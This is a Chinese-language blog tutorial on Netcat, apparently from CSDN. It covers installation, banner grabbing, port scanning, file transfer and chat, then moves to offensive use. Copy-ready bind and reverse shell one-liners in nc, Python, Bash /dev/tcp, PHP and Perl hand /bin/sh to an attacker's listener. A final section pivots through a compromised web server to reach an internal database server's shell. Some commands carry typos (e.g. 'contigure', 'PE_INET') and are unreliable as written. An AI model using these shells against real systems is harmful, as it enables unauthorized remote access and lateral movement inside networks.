Netcat工具的玩法

淡淡的烟草味﹌ 2023-09-28 19:07 12阅读 0赞

![在这里插入图片描述][48a1476f0e37430a8d9e13f64468f170.jpeg_pic_center]  
前言  
之所以叫Netcat，是因为它是在网络上的cat，cat的功能是读取一个文件的内容并输出到屏幕前，netcat也是如此，从网络的一端读取数据，输出到网络的另一端(可以使用TCP和UDP协议)

### 文章目录 ###

*  一、安装
 *  二、命令查询
 *  三、Banner 抓取
 *  四、连接远程主机
 *  五、端口扫描
 *  六、端口监听
 *  七、文件传输
 *  八、简易聊天
 *  九、获取 Shell
 *  十、在目标主机中没有nc时获取反向Shell
 *  十一、内网代理

# 一、安装 #

在Kali Linux中，可以使用"nc-help"或者"man nc"命令查看是否已经安装了nc，如果没有安装，则执行如下命令进行安装

sudo yum install nc.x86_64

也可以先使用wget命令下载安装包，再进行安装，具体如下  
下载地址见 `http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download`

wget  <下载地址>  -0 netcat-0.7.1.tar.gz
    tar axvs netcat-0.7.1.tar.gz 
    cd netcat-0.7.1
    ./contigure 
    make

编译完成，就会生成 nc 可以执行的文件了，该文件位于 src 目录下，执行"cd"命令，运行/neteat 文件，就可以找到nc了；

在Windows 中需要使用 Windows 版本的 nc，在禁用-e远程执行选项的情况下编译的版本，列举如下  
nc：见`https://joncraton.org/files/nc111nt.zip`

# 二、命令查询 #

nc的功能很多，可以输人"nc -h"命令进行查询

-d:后台模式
    -e:程序重定向
    -g<网关>:设置路由器跃程通信网关，最多可设置8个
    -G<指向器数目>:设置源路由指向器的数量，值为4的倍数
    -h:在线帮助
    -i<延迟秒数>:设置时间间隔，以便传送信息及扫描通信端口
    -l:使用监听模式，管理和控制传人的数据
    -n:直接使用IP地址(不通过域名服务器)
    -o<输出文件>:指定文件名称，把往来传输的数据转换为十六进制字节码后保存在该文件中
    -p<通信端口>:设置本地主机使用的通信端口
    -r:随机指定本地与远程主机的通信端口
    -s<源地址>;设置本地主机送出数据包的IP地址
    -u:使用 UDP 传输协议
    -v:详细输出
    -w<超时秒数>:设置等待连线的时间
    -z:将输人/输出功能关闭，只在扫描通信端口时使用

# 三、Banner 抓取 #

服务的Banner 信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况，服务的Banner 信息不仅包含正在运行的服务类型，还包含服务的版本信息，Banner抓取是一种在开放端口上检索关于特定服务信息的技术，在渗透测试中用于漏洞的评估。  
执行如下命令

nc -nv 192.168.123.103 21

从抓取的Banner信息中可以得知，目前目标主机的21端口上运行了vsFTPd服务，版本号为2.3.4

rooteKali-Linux:- nc -nv 192.168.123.103 21 
    Ncat:Version 7.70(https://nmap.org/ncat) 
    Ncat: Connected to 192.168.123.103:21.
    220(vsFTPd2.3.4)

# 四、连接远程主机 #

执行如下命令，连接远程主机

nc -nvv 192.168.53.128 445

![在这里插入图片描述][02723f1d51c04e988144812b16d7e97c.png_pic_center]

# 五、端口扫描 #

执行如下命令，扫描指定主机的端口

nc -v 192.168.53.128 445

![在这里插入图片描述][4074d0da3afc4c56bf86a6a64fbb3cb7.png_pic_center]  
执行如下命令，扫描指定主机的某个端口段(扫描速度很慢)

nc -v -z 192.168.53.128 1-1000

![在这里插入图片描述][26109ba835674adbab2b02a2dd9cd95c.png_pic_center]

# 六、端口监听 #

执行如下命令，监听本地端口，当访问该端口时会输出该信息到命令行

nc -l -p 9999

# 七、文件传输 #

在A主机中输入如下命令，开始监听，等待连接，一旦连接建立，数据便会流入

nc -lp 333 > 1.txt

在B主机中输入如下命令，与A主机的333端口建立连接，并传输一个名为test.txt的文本文件

nc -vn  192.168.1.4 333  < test.txt -q l

传输完成，在在A主机中打开1.txt文件，就可以看到test.txt的数据已经传送过来了

# 八、简易聊天 #

在A主机中输入如下命令，开始监听

nc -l - p 888

在主机B中输入如下命令，就可以开始聊天了

nc -vn  <A的IP地址> 888

# 九、获取 Shell #

Shell 分为两种，一种是正向 Shell，另一种是反向 Shell，如果客户端连接服务器，客户端想要获取服务器的Shell，就称为正向Shell；如果客户端连接服务器，服务器想要获取客户端的Shell，就称为反向 Shell。

反向Shell 通常用在开启了防护措施的目标机器上，例如防火墙过滤、端口转发等  
注：如下的A主机为客户端，B主机为服务端

**（1）**正向 Shell  
在B主机输入如下命令，监听B主机的 4444 端口

nc -lvp 4444 -e /bin/sh                      //Linux 
    nc -lvp 4444 -e c:\windows\system32\cmd.exe  //Windows

在A主机上输人如下命令，A主机上连接B主机的 4444 端口

nc  <B主机IP>  4444

**（2）**反向 Shell  
A主机执行如下命令，在A主机上监听本地 9999 端口

nc -lvp 9999

在B主机中执行如下命令，连接A主机的9999端口

nc <A主机IP> 9999 -e /bin/sh                      //Linux 
    ne <A主机IP> 9999 -e c:\windows\system32\cmd.exe  //Windows

然后就可以在A主机上看到连接了

# 十、在目标主机中没有nc时获取反向Shell #

在一般情况下，目标主机中是没有nc的，此时，可以使用其他工具和编程语言来代替nc，实现反向连接，下面介绍几种常见的反向 Shell

**（1）**Python 反向 Shell  
A主机执行如下命令，监听本地 2222 端口

nc -lvp  2222

在目标主机(B)上执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在目标主机(B)上执行反弹命令

**（2）**Bash 反向 Shell  
在A主机执行如下命令，监听本地 4444 端口

nc -lvp  4444

在目标主机(B)上执行如下命令

bash -i >& /dev/tcp/<A主机IP>/4444 0>&1

执行反弹命令

**（3）**PHP 反向Shell  
在A主机执行如下命令，监听本地 2222 端口

nc -lvp  2222

PHP常用在Web 服务器上，它是nc、Perl和Bash的一个很好的替代品，执行如下命令，实现PHP环境下的反弹Shell

php -r '$sock=fsockopen("<A主机IP>",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

建立连接

**（4）**Perl 反向 Shell  
在A主机执行如下命令，监听本地 2222 端口

nc -lvp  2222

如果此时目标主机使用的是Perl 语言，可以使用Perl 来建立反向 Shell  
在目标主机(B)上运行如下命令，会发现主机A已经与目标主机(B)建立了连接

perl -e 'use Socket;$i="<A主机IP>";$p=2222;socket(S,PE_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){
        open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 十一、内网代理 #

如图所示，测试环境为：攻击者 VPS(Kali Linux)：一个小型内网；三台服务器。假设已经获取了Web 服务器的权限，通过 Kali Linux机器不能访问数据库服务器(Linux)，但通过 Web 服务器可以访问数据库服务器(Linux)，测试目标为：获取数据库服务器(Linux)的Shell  
![在这里插入图片描述][bcac4296419046f78301460067c4246f.png_pic_center]

首先，在 VPS 中输人执行如下命令，监听 3333 端口

nc  -lvp  3333

接着，在数据库服务器(Linux)上执行如下命令

nc  -lvp  3333  -e /bin/sh

最后，在Web服务器(边界服务器)上执行如下命令

nc -v  192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

在输人的时候一定要注意，引号都是英文格式的；  
回到 VPS 主机中，与数据库服务器建立了连接！！

[48a1476f0e37430a8d9e13f64468f170.jpeg_pic_center]: https://img-blog.csdnimg.cn/48a1476f0e37430a8d9e13f64468f170.jpeg#pic_center
[02723f1d51c04e988144812b16d7e97c.png_pic_center]: https://img-blog.csdnimg.cn/02723f1d51c04e988144812b16d7e97c.png#pic_center
[4074d0da3afc4c56bf86a6a64fbb3cb7.png_pic_center]: https://img-blog.csdnimg.cn/4074d0da3afc4c56bf86a6a64fbb3cb7.png#pic_center
[26109ba835674adbab2b02a2dd9cd95c.png_pic_center]: https://img-blog.csdnimg.cn/26109ba835674adbab2b02a2dd9cd95c.png#pic_center
[bcac4296419046f78301460067c4246f.png_pic_center]: https://img-blog.csdnimg.cn/bcac4296419046f78301460067c4246f.png#pic_center